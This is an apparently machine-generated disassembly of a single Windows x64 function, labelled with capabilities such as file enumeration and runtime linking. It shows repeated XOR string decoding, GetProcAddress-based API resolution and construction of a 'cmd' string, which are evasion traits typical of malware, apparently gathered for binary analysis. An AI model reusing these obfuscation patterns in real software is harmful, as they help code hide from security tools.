Function at 0x140007da6
Capabilities:
Enumerate files on windows
Get common file path
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0xfb8
call fcn.1400a1b80
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xf20], xmm8
movdqa xmmword [rbp + 0xf10], xmm7
movaps xmmword [rbp + 0xf00], xmm6
and rsp, 0xffffffffffffff80
mov rax, rdx
mov qword [rsp + 0x88], rcx
mov r14, qword [rdx]
lea rdx, [rsp + 0x180]
and qword [rdx], 0
mov qword [rsp + 0xb8], rax
mov rax, qword [rax + 0x10]
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], rax
and qword [rdx + 0x20], 0
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x30], 1
movabs rax, 0x2000000020
mov qword [rdx + 0x38], rax
mov word [rdx + 0x40], 1
lea rsi, [rsp + 0x130]
mov rcx, rsi
call fcn.14009942f
mov rsi, qword [rsi + 0x10]
test rsi, rsi
je 0x14000d7a7
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0xa0], rax
lea rax, [0x14009c07c]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and qword [rsp + 0x180], 0
mov r10b, 1
xor r9d, r9d
lea rcx, [0x1400a6b18]
movabs rdx, 0x9a00000000000000
push 8
pop r8
test r10b, 1
je 0x140007f40
movzx r11d, byte [r9 + rcx]
mov r10, r9
or r10, 1
movzx r10d, byte [r10 + rcx]
mov rdi, r9
or rdi, 2
movzx edi, byte [rdi + rcx]
mov rbx, r9
or rbx, 3
movzx ebx, byte [rbx + rcx]
mov r15, r9
or r15, 4
movzx r15d, byte [r15 + rcx]
mov r12, r9
or r12, 5
movzx r12d, byte [r12 + rcx]
mov r13, r9
or r13, 6
movzx r13d, byte [r13 + rcx]
shl r13, 0x30
shl r12, 0x28
shl r15, 0x20
shl rbx, 0x18
shl rdi, 0x10
shl r10, 8
or r10, r11
or r10, rdi
or r10, rbx
or r10, r15
or r10, r12
add r10, rdx
or r10, r13
xor r10, qword [rax + r9 + 0xad74]
mov qword [rsp + r9 + 0x180], r10
xor r10d, r10d
mov r9, r8
jmp 0x140007ea2
lea r8, [rsp + 0x180]
mov rax, qword [r8]
mov qword [r8], rax
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
push 8
pop r15
mov r9, r15
call fcn.14001282a
push 2
pop rdi
test al, al
je 0x140008006
mov r13, qword [rsp + 0x138]
cmp rsi, 2
jb 0x14000b304
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
call fcn.14001cc2d
mov r12, rax
test r12b, 1
jne 0x14000b304
shr r12, 0x20
lea rax, [0x1400cffcc]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x18c], xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400d5835]
cmp rdx, 0x18
jae 0x140008204
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0x5a4b]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x140007fe2
push 1
pop rax
mov qword [rsp + 0x90], rax
push 4
pop rbx
lea rax, [0x14009c569]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400a6b20]
cmp rcx, 0xf
ja 0x140008061
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx + 0xa88f]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x140008041
mov al, byte [rax + 0xa89f]
xor al, 0x10
movdqa xmm0, xmmword [rsp + 0x180]
lea r12, [rsp + 0x5f0]
movdqa xmmword [r12], xmm0
mov byte [r12 + 0x10], al
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
push 0x11
pop r9
mov r8, r12
call fcn.14001282a
test al, al
je 0x1400080d2
mov r13, qword [rsp + 0x138]
cmp rsi, 2
jae 0x140008244
lea rdx, [0x1400fb828]
mov rcx, qword [rsp + 0x88]
xor r8d, r8d
call fcn.140011183
jmp 0x14000c5fb
lea rax, [0x1400a2963]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and word [rsp + 0x184], 0
and dword [rsp + 0x180], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x1400a6b31]
test r8b, 1
je 0x140008162
movzx r8d, byte [rdx + rcx]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r10, rdx
or r10, 3
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rcx]
movzx r10d, byte [r10 + rcx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rdx + 0x44a6]
mov dword [rsp + rdx + 0x180], r9d
xor r8d, r8d
mov rdx, rbx
jmp 0x140008106
movzx eax, word [rax + 0x44aa]
xor eax, 0x2cb2
lea r8, [rsp + 0x180]
mov ecx, dword [r8]
mov dword [r8], ecx
mov word [r8 + 4], ax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
push 6
pop r9
call fcn.14001282a
test al, al
je 0x14000838a
mov rdi, qword [rsp + 0x138]
cmp rsi, 2
jae 0x14000a013
lea rax, [0x1400a2d30]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400a6a5f]
cmp rcx, 0xf
ja 0x14000a17b
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx + 0x3fe7]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x1400081e0
xor edx, edx
lea r8, [rdx + 0x18]
cmp r8, 0x1b
ja 0x1400084da
movzx r8d, byte [rdx + rcx + 0x1a]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x18]
add r8d, r9d
add r8d, 0xea000000
xor r8d, dword [rax + rdx + 0x5a63]
mov dword [rsp + rdx + 0x198], r8d
add rdx, 4
jmp 0x140008206
mov rax, qword [rsp + 0xa0]
je 0x14000d7a7
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0xa8], rcx
mov rdx, qword [rax + 0x20]
mov r8, qword [rax + 0x28]
lea rsi, [rsp + 0x180]
mov rcx, rsi
call fcn.140004fad
mov rax, qword [rsi]
mov qword [rsp + 0x98], rax
test rax, rax
je 0x14000d7a7
mov r12, qword [rsp + 0x188]
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xc0], rax
lea rax, [0x1400a2c8c]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400ae4b0]
push 8
pop rdx
test r9b, 1
je 0x1400095f8
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8 + 0xb8eb]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x1400082de
lea rax, [0x1400a32d7]
lea r8, [rsp + 0x180]
mov qword [r8], rax
mov rax, qword [r8]
movzx ecx, byte [rax + 0x3b3a]
movzx eax, word [rax + 0x3b38]
xor eax, 0x131e
xor cl, 0x4d
mov byte [r8 + 2], cl
mov word [r8], ax
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
push 3
pop r9
call fcn.14001282a
test al, al
je 0x14000a1b6
mov r15, rdi
mov rdi, qword [rsp + 0x138]
dec rsi
lea rdx, [rbx + 0x10]
lea rbx, [rsp + 0xe8]
mov rcx, rbx
mov r8, rsi
call fcn.140040a1b
mov r14, qword [rbx]
mov rbx, qword [rbx + 0x10]
push 3
pop rcx
call fcn.1400862c7
mov word [rax], 0x6d63
mov byte [rax + 2], 0x64
pxor xmm0, xmm0
lea rsi, [rsp + 0x180]
movdqu xmmword [rsi + 0x98], xmm0
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], rdx
mov qword [rsi + 0x40], 3
mov byte [rsi + 0x48], 0
mov qword [rsi + 0x90], 8
and qword [rsi + 0x50], 0
and qword [rsi + 0x60], 0
and word [rsi + 0x68], 0
mov byte [rsi + 0x88], 2
and dword [rsi + 0xc0], 0
and word [rsi + 0xc4], 0
push 6
pop rax
mov dword [rsi], eax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x20], eax
and qword [rsi + 0xa8], 0
and qword [rsi + 0xb8], 0
lea rax, str._C_sta_w1_noPCould_not_ls:
mov qword [rsp + 0x890], rax
mov qword [rsp + 0x898], 2
mov qword [rsp + 0x8a0], r14
mov qword [rsp + 0x8a8], rbx
xor ebx, ebx
cmp rbx, 0x20
je 0x14000a24b
mov rdx, qword [rsp + rbx + 0x890]
mov r8, qword [rsp + rbx + 0x898]
mov rcx, rsi
call fcn.140090cfd
add rbx, 0x10
jmp 0x1400084b2
movzx ecx, byte [rax + 0x5a69]
movzx eax, word [rax + 0x5a67]
xor eax, 0xdc73
mov word [rsp + 0x19c], ax
xor cl, 0x66
mov byte [rsp + 0x19e], cl
movdqa xmm0, xmmword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
movdqa xmmword [rcx], xmm0
mov rax, qword [rsp + 0x18f]
mov qword [rcx + 0xf], rax
mov eax, dword [rsp + 0x197]
mov dword [rcx + 0x17], eax
mov al, byte [rsp + 0x19b]
mov byte [rcx + 0x1b], al
movzx eax, word [rsp + 0x19c]
mov word [rcx + 0x1c], ax
mov al, byte [rsp + 0x19e]
mov byte [rcx + 0x1e], al
push 0x1f
pop rdx
call fcn.1400822af
lea rcx, [0x1400cfd0b]
mov qword [rsp + 0x180], rcx
mov rcx, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
mov qword [rsp + 0xe0], rax
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rax, [0x1400d5854]
push 8
pop rdx
test r9b, 1
je 0x14000863e
movzx r10d, byte [r8 + rax]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rax]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rax]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rax]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rax]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rax]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rax]
movzx r15d, byte [r15 + rax]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rcx + r8 + 0x5d2b]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x140008592
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000867a
movzx r8d, byte [rdx + rax + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rax + 8]
add r8d, r9d
add r8d, 0xce000000
xor r8d, dword [rcx + rdx + 0x5d33]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x140008640
mov eax, dword [rsp + 0x188]
lea rcx, [rsp + 0x5f0]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x180]
mov qword [rcx], rax
push 0xc
pop rdx
call fcn.1400822af
mov qword [rsp + 0x98], rax
lea rax, [0x1400d06d1]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400d5860]
push 8
pop rdx
test r9b, 1
je 0x140008783
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8 + 0x5371]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x1400086d7
mov qword [rsp + 0x90], r12
mov al, byte [rax + 0x5379]
xor al, 0x34
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
mov qword [rcx], rdx
mov byte [rcx + 8], al
push 9
pop rdx
call fcn.1400822af
mov rdi, rax
lea rax, [0x1400cd074]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400d5869]
push 8
pop rdx
test r9b, 1
je 0x140008891
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rbx, r8
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, r8
or r15, 6
mov r12, r8
or r12, 7
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rbx
or r9, r14
or r9, r15
xor r9, qword [rax + r8 + 0x89d7]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x1400087e4
mov al, byte [rax + 0x89df]
xor al, 0x2c
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
mov qword [rcx], rdx
mov byte [rcx + 8], al
push 9
pop rdx
call fcn.1400822af
mov rsi, rax
lea rax, [0x1400ce7a0]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400d5872]
mov r12, qword [rsp + 0x90]
cmp rcx, 0xf
ja 0x14000890f
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx + 0x72b4]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x1400088ef
mov al, byte [rax + 0x72c4]
xor al, 0x31
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov byte [rdx + 0x10], al
mov rcx, rdi
call sub.kernel32.dll_GetProcAddress
mov rdi, rax
lea rax, [0x1400d2c14]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400d5883]
cmp rcx, 0xf
ja 0x140008987
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx + 0x2e51]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x140008967
movzx eax, word [rax + 0x2e61]
xor eax, 0x13ba
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov word [rdx + 0x10], ax
mov rcx, qword [rsp + 0xe0]
call sub.kernel32.dll_GetProcAddress
mov qword [rsp + 0x120], rax
lea rax, [0x1400ca346]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x190], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400d5895]
cmp rdx, 0x10
jae 0x140008a16
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0xb731]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x1400089f6
xor edx, edx
lea r8, [rdx + 0x10]
cmp r8, 0x13
ja 0x140008a52
movzx r8d, byte [rdx + rcx + 0x12]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x10]
add r8d, r9d
add r8d, 0x70000000
xor r8d, dword [rax + rdx + 0xb741]
mov dword [rsp + rdx + 0x190], r8d
add rdx, 4
jmp 0x140008a18
mov al, byte [rax + 0xb745]
xor al, 0x4d
mov byte [rsp + 0x194], al
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov rax, qword [rsp + 0x18d]
mov qword [rdx + 0xd], rax
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
mov qword [rsp + 0xb0], rax
lea rax, [0x1400cb9a9]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x190], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400d58aa]
cmp rdx, 0x10
jae 0x140008ae7
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0xa0e3]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x140008ac7
xor edx, edx
lea r8, [rdx + 0x10]
cmp r8, 0x13
ja 0x140008b23
movzx r8d, byte [rdx + rcx + 0x12]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x10]
add r8d, r9d
add r8d, 0xa6000000
xor r8d, dword [rax + rdx + 0xa0f3]
mov dword [rsp + rdx + 0x190], r8d
add rdx, 4
jmp 0x140008ae9
mov qword [rsp + 0xc0], rdi
mov al, byte [rax + 0xa0f7]
xor al, 0xb2
mov byte [rsp + 0x194], al
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov rax, qword [rsp + 0x18d]
mov qword [rdx + 0xd], rax
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
lea rcx, [0x1400cf769]
mov qword [rsp + 0x180], rcx
mov rcx, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
mov qword [rsp + 0x128], rax
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rax, [0x1400d58bf]
push 8
pop rdx
test r9b, 1
je 0x140008c4f
movzx r10d, byte [r8 + rax]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rax]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rax]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rax]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rax]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rax]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rax]
movzx r15d, byte [r15 + rax]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rcx + r8 + 0x6338]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x140008ba3
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x140008c8b
movzx r8d, byte [rdx + rax + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rax + 8]
add r8d, r9d
add r8d, 0xf1000000
xor r8d, dword [rcx + rdx + 0x6340]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x140008c51
mov al, byte [rcx + 0x6344]
xor al, 0xd9
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
mov qword [rdx], rax
mov rax, qword [rsp + 0x185]
mov qword [rdx + 5], rax
mov rcx, qword [rsp + 0x98]
call sub.kernel32.dll_GetProcAddress
lea rcx, [0x1400cedaa]
mov qword [rsp + 0x180], rcx
mov rcx, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
mov qword [rsp + 0xc8], rax
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rax, [0x1400d58cc]
push 8
pop rdx
test r9b, 1
je 0x140008db2
movzx r10d, byte [r8 + rax]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rax]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rax]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rax]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rax]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rax]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rax]
movzx r15d, byte [r15 + rax]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rcx + r8 + 0x6d04]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x140008d06
xor edx, edx
lea r15, [rsp + 0x180]
mov r14, qword [rsp + 0xc0]
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x140008dfe
movzx r8d, byte [rdx + rax + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rax + 8]
add r8d, r9d
add r8d, 0x4c000000
xor r8d, dword [rcx + rdx + 0x6d0c]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x140008dc4
lea rdi, [rsp + 0x388]
mov eax, dword [rdi - 0x200]
lea rbx, [rsp + 0x5f0]
mov dword [rbx + 8], eax
mov rax, qword [rdi - 0x208]
mov qword [rbx], rax
mov rcx, qword [rsp + 0x98]
mov rdx, rbx
call sub.kernel32.dll_GetProcAddress
mov qword [rsp + 0x858], rax
lea rax, [rsp + 0xe8]
and qword [rax], 0
xorps xmm6, xmm6
lea rsi, [0x1400d58d8]
xor ecx, ecx
mov qword [rsp + 0xa8], r13
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov edx, 0x2000000
xor r8d, r8d
xor r9d, r9d
call r14
test eax, eax
jne 0x14000a4ba
mov r8d, 0x208
mov rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0xe8]
xor edx, edx
mov r8, r15
mov r9d, 0x104
call qword [rsp + 0xb0]
mov qword [rsp + 0x5f0], r15
mov qword [rsp + 0x5f8], rdi
and word [rsp + 0x600], 0
lea rcx, [rsp + 0xae0]
mov rdx, rbx
call fcn.1400115b4
test r12d, r12d
je 0x140008ef9
mov rcx, qword [rsp + 0xe8]
call qword [rsp + 0xc8]
mov r9, qword [rsp + 0xae0]
cmp eax, r12d
jne 0x1400095ae
jmp 0x14000a4aa
mov r9, qword [rsp + 0xae0]
mov rbx, qword [rsp + 0xaf0]
lea rax, [0x1400d3bfc]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5f0]
movups xmmword [rsp + 0x5fc], xmm6
movaps xmmword [rsp + 0x5f0], xmm6
xor ecx, ecx
cmp rcx, 0x18
jae 0x140008f52
mov rdx, qword [rcx + rsi]
xor rdx, qword [rax + rcx + 0x1ebe]
mov qword [rsp + rcx + 0x5f0], rdx
add rcx, 8
jmp 0x140008f32
xor ecx, ecx
lea rdx, [rcx + 0x18]
cmp rdx, 0x1b
ja 0x140008f89
movzx edx, byte [rcx + rsi + 0x1a]
shl edx, 0x10
movzx r8d, word [rcx + rsi + 0x18]
add edx, r8d
add edx, 0x8000000
xor edx, dword [rax + rcx + 0x1ed6]
mov dword [rsp + rcx + 0x608], edx
add rcx, 4
jmp 0x140008f54
mov al, byte [rax + 0x1eda]
xor al, 0xb2
mov byte [rsp + 0x60c], al
movdqa xmm0, xmmword [rsp + 0x5f0]
movdqa xmmword [rsp + 0x890], xmm0
mov rax, qword [rsp + 0x5fd]
mov qword [rsp + 0x89d], rax
mov eax, dword [rsp + 0x605]
mov dword [rsp + 0x8a5], eax
movzx eax, word [rsp + 0x609]
mov word [rsp + 0x8a9], ax
mov al, byte [rsp + 0x60b]
mov byte [rsp + 0x8ab], al
mov al, byte [rsp + 0x60c]
mov byte [rsp + 0x8ac], al
cmp rbx, 0x1e
mov qword [rsp + 0x98], r9
jb 0x14000909e
mov al, byte [rsp + 0x890]
lea rdx, [r9 + 0x1c]
push 0x1d
pop rdi
cmp rdi, 0x1a
jb 0x1400090d1
mov r13, rdx
mov cl, byte [rsp + rdi + 0x88f]
dec rdi
dec rdx
cmp cl, al
je 0x140009014
cmp rbx, 0x2b
ja 0x1400092bb
mov rcx, r9
mov r13, qword [rsp + 0xa8]
mov rdi, rbx
cmp rbx, 0x1d
jb 0x140009072
lea rbx, [rdi - 1]
lea r14, [rcx + 1]
push 0x1d
pop rdx
lea r8, [rsp + 0x890]
mov r9, rdx
call fcn.14001282a
mov rcx, r14
test al, al
je 0x140009047
cmp rdi, 0x1d
setae al
mov r14, qword [rsp + 0xc0]
lea rdi, [rsp + 0x388]
lea rbx, [rsp + 0x5f0]
mov r9, qword [rsp + 0x98]
jmp 0x140009496
lea rcx, [rsp + 0x890]
push 0x1d
pop rdx
mov r8, r9
mov r9, rbx
call fcn.14001282a
mov r9, qword [rsp + 0x98]
test al, al
lea rbx, [rsp + 0x5f0]
je 0x1400095ae
jmp 0x14000a490
mov qword [rsp + 0x20], 0x1d
lea rcx, [rsp + 0x5f0]
mov rdx, r9
mov r8, rbx
lea r9, [rsp + 0x890]
call fcn.14001bb5d
cmp qword [rsp + 0x5f0], 0
je 0x1400094a3
mov rbx, qword [rsp + 0x628]
mov r12, qword [rsp + 0x638]
mov rdx, qword [rsp + 0x640]
mov r8, qword [rsp + 0x648]
mov r9, qword [rsp + 0x650]
lea r10, [r9 - 1]
mov rdi, qword [rsp + 0x618]
mov rax, qword [rsp + 0x610]
mov rcx, qword [rsp + 0x5f8]
mov r11, qword [rsp + 0x608]
mov r14, r9
mov qword [rsp + 0x850], r11
sub r14, r11
mov qword [rsp + 0x848], r14
lea r11, [rcx - 1]
mov qword [rsp + 0x108], r11
mov r15, rbx
mov qword [rsp + 0xd8], r12
mov qword [rsp + 0x118], rax
mov qword [rsp + 0xd0], rcx
cmp rcx, r15
mov r14, r15
cmova r14, rcx
cmp rbx, 0xffffffffffffffff
cmove r14, rcx
mov r13d, 0
cmovne r13, r15
lea r11, [r10 + rdi]
cmp r11, rdx
jae 0x14000956e
movzx r11d, byte [r12 + r11]
bt rax, r11
jae 0x140009221
mov rcx, rbx
mov rax, r10
lea r15, [r12 + rdi]
mov r12, r14
cmp r12, r9
jae 0x140009230
lea r11, [rdi + r12]
cmp r11, rdx
jae 0x14000d7a7
mov r10b, byte [r8 + r12]
lea rbx, [r12 + 1]
cmp r10b, byte [r15 + r12]
mov r12, rbx
je 0x1400091ce
sub r11, qword [rsp + 0xd0]
mov rdi, r11
inc rdi
mov rbx, rcx
cmp rcx, 0xffffffffffffffff
mov r10, rax
mov r12, qword [rsp + 0xd8]
mov rax, qword [rsp + 0x118]
je 0x1400091a9
jmp 0x1400092ab
add rdi, r9
cmp rbx, 0xffffffffffffffff
je 0x1400091a9
jmp 0x1400092ab
mov r12, qword [rsp + 0x108]
lea r11, [r12 + 1]
cmp r13, r11
jae 0x14000a480
cmp r12, r9
jae 0x14000d7a7
lea r11, [rdi + r12]
cmp r11, rdx
jae 0x14000d7a7
mov r11b, byte [r8 + r12]
lea r10, [r12 - 1]
cmp r11b, byte [r15 + r12]
mov r12, r10
je 0x140009238
add rdi, qword [rsp + 0x850]
mov rbx, rcx
cmp rcx, 0xffffffffffffffff
mov r10, rax
mov r12, qword [rsp + 0xd8]
mov rax, qword [rsp + 0x118]
je 0x1400091a9
mov r15, qword [rsp + 0x848]
mov rcx, qword [rsp + 0xd0]
jmp 0x14000918d
xor r15d, r15d
mov rcx, qword [rsp + 0xd0]
jmp 0x14000918d
movzx eax, al
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
movzx eax, cl
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm8, xmm0, 0
mov qword [rsp + 0x5f0], r9
mov qword [rsp + 0x5f8], rbx
lea rax, [rsp + 0x891]
mov qword [rsp + 0x600], rax
mov qword [rsp + 0x608], 0x1c
